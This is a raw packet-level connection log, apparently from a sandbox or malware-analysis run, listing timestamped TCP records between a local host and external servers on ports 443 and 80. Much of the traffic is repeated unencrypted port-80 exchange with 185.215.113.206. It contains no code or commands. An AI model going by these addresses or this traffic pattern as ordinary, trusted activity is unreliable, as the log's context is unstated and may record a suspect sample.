Nov 17, 2024 01:38:44.861540079 CET	443	56724	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:44.879734039 CET	443	56729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.893786907 CET	443	56730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.894304037 CET	443	56727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.895411015 CET	443	56726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.905854940 CET	443	56728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.932533026 CET	56728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.932549000 CET	443	56728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.955729008 CET	56728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.955737114 CET	443	56728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.956398964 CET	56726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.956417084 CET	443	56726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.956839085 CET	56726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.956842899 CET	443	56726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.957402945 CET	56729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.957501888 CET	443	56729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.958219051 CET	56729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.958235979 CET	443	56729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.959047079 CET	56730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.959062099 CET	443	56730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.959430933 CET	56730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.959435940 CET	443	56730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.960035086 CET	56727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.960067987 CET	443	56727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:44.960383892 CET	56727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:44.960391998 CET	443	56727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.080810070 CET	443	56729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.080883980 CET	443	56729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.080934048 CET	56729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.080970049 CET	443	56729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.081023932 CET	443	56729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.081069946 CET	56729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.081533909 CET	56729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.081553936 CET	443	56729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.081572056 CET	56729	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.081578970 CET	443	56729	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.086909056 CET	443	56727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.087012053 CET	443	56727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.087059021 CET	56727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.088639975 CET	443	56728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.088674068 CET	443	56730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.088701010 CET	443	56730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.088716030 CET	443	56728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.088763952 CET	56730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.088763952 CET	56728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.088784933 CET	443	56730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.089176893 CET	56730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.091165066 CET	56727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.091176033 CET	443	56727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.091202974 CET	56727	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.091207981 CET	443	56727	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.092016935 CET	56728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.092016935 CET	56728	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.092044115 CET	443	56728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.092056036 CET	443	56728	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.094168901 CET	56730	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.094182014 CET	443	56730	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.096615076 CET	56734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.096642017 CET	443	56734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.096703053 CET	56734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.096762896 CET	56735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.096798897 CET	443	56735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.096849918 CET	56735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.097351074 CET	56734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.097373009 CET	443	56734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.097714901 CET	56735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.097728968 CET	443	56735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.098844051 CET	56736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.098862886 CET	443	56736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.098956108 CET	56736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.099205017 CET	56736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.099215031 CET	443	56736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.100548983 CET	56737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.100574970 CET	443	56737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.100708008 CET	56737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.101476908 CET	56737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.101488113 CET	443	56737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.110090971 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.110124111 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.110305071 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.110354900 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.110393047 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.110457897 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.110527039 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.110543013 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.110626936 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.110652924 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.203957081 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.208756924 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.246759892 CET	443	56726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.246927977 CET	443	56726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.246987104 CET	56726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.247168064 CET	56726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.247179985 CET	443	56726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.247191906 CET	56726	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.247196913 CET	443	56726	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.251728058 CET	56740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.251774073 CET	443	56740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.251919985 CET	56740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.252100945 CET	56740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.252131939 CET	443	56740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.278728962 CET	443	56731	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:45.279148102 CET	56731	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:45.279170036 CET	443	56731	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:45.280313015 CET	443	56731	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:45.280690908 CET	56731	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:45.280870914 CET	443	56731	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:45.289738894 CET	443	56732	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:45.291531086 CET	56732	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:45.291563988 CET	443	56732	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:45.291855097 CET	443	56732	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:45.292490959 CET	56732	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:45.292550087 CET	443	56732	162.159.61.3	192.168.2.6
Nov 17, 2024 01:38:45.360430956 CET	56731	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:45.360449076 CET	56732	443	192.168.2.6	162.159.61.3
Nov 17, 2024 01:38:45.484503031 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.484581947 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.484580994 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.484595060 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.484606981 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.484617949 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.484631062 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.484633923 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.484648943 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.484658003 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.484661102 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.484680891 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.484685898 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.484695911 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.484697104 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.484736919 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.484760046 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.485361099 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.485380888 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.485399008 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.485416889 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.644519091 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.644553900 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.644563913 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.644575119 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.644598961 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.644661903 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.644706011 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.644759893 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.644896984 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.644900084 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.644912004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.644923925 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.644936085 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.644938946 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.644958019 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.644979954 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.645420074 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.645464897 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.645464897 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.645478010 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.645489931 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.645513058 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.645536900 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.646101952 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.646125078 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.646147966 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.646162033 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.759812117 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.759839058 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.759850025 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.759875059 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.759947062 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.759970903 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.760046959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.760090113 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.760185003 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.760195017 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.760205984 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.760215998 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.760224104 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.760253906 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.760253906 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.760734081 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.760745049 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.760754108 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.760776997 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.760801077 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.761070967 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.761079073 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.761116028 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.804265976 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.804279089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.804294109 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.804322958 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.804344893 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.829595089 CET	443	56734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.831042051 CET	443	56737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.833333969 CET	56734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.833353043 CET	443	56734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.833796978 CET	56734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.833801985 CET	443	56734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.834032059 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.834489107 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.834505081 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.834872961 CET	56737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.834896088 CET	443	56737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.835412025 CET	56737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.835416079 CET	443	56737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.835414886 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.835474014 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.836791039 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.836853027 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.837125063 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.837135077 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.839258909 CET	443	56736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.845078945 CET	443	56735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.876837015 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.878408909 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.878423929 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.878436089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.878447056 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.878458977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.878470898 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.878546000 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.878546000 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.878753901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.878803968 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.878804922 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.878817081 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.878828049 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.878849983 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.878873110 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.886812925 CET	56736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.886827946 CET	443	56736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.887279987 CET	56736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.887284994 CET	443	56736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.887396097 CET	56735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.887418032 CET	443	56735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.887960911 CET	56735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.887967110 CET	443	56735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.891355991 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.891977072 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.892018080 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.893734932 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.893811941 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.894177914 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.894268036 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.894326925 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.894344091 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:45.919653893 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.919672012 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.919684887 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.919718027 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.919778109 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.919785976 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.919797897 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.919831991 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.919862032 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.953156948 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:45.959083080 CET	443	56734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.959391117 CET	443	56734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.959507942 CET	443	56734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.959526062 CET	56734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.959624052 CET	56734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.959624052 CET	56734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.959747076 CET	56734	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.959762096 CET	443	56734	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.962419033 CET	56741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.962454081 CET	443	56741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.962512970 CET	56741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.962671041 CET	56741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.962683916 CET	443	56741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.970201969 CET	443	56737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.970410109 CET	443	56737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.970474958 CET	56737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.970561981 CET	56737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.970576048 CET	443	56737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.970586061 CET	56737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.970590115 CET	443	56737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.972580910 CET	56742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.972609997 CET	443	56742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.972774029 CET	56742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.972914934 CET	56742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.972924948 CET	443	56742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.978862047 CET	443	56740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.979202986 CET	56740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.979219913 CET	443	56740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.979629040 CET	56740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:45.979634047 CET	443	56740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:45.990370035 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.990381002 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.990421057 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.990489960 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.990502119 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.990511894 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.990533113 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.990556955 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.990777969 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.990828991 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.990839005 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.990848064 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.990849972 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.990870953 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.990899086 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:45.991395950 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.991405964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:45.991441011 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.014535904 CET	443	56735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.014595985 CET	443	56735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.014698029 CET	443	56735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.014750957 CET	56735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.014899015 CET	443	56736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.014931917 CET	443	56736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.014992952 CET	443	56736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.015050888 CET	56736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.017546892 CET	56735	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.017559052 CET	443	56735	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.017565966 CET	56736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.017577887 CET	443	56736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.017587900 CET	56736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.017592907 CET	443	56736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.020433903 CET	56743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.020443916 CET	443	56743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.020526886 CET	56744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.020560026 CET	56743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.020561934 CET	443	56744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.020601988 CET	56744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.020689964 CET	56743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.020699024 CET	443	56743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.020762920 CET	56744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.020778894 CET	443	56744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.034822941 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.034837008 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.034872055 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.034882069 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.034888983 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.034910917 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.034960985 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.034993887 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.035003901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.035023928 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.035052061 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.035335064 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.035351038 CET	80	49911	185.215.113.206	192.168.2.6
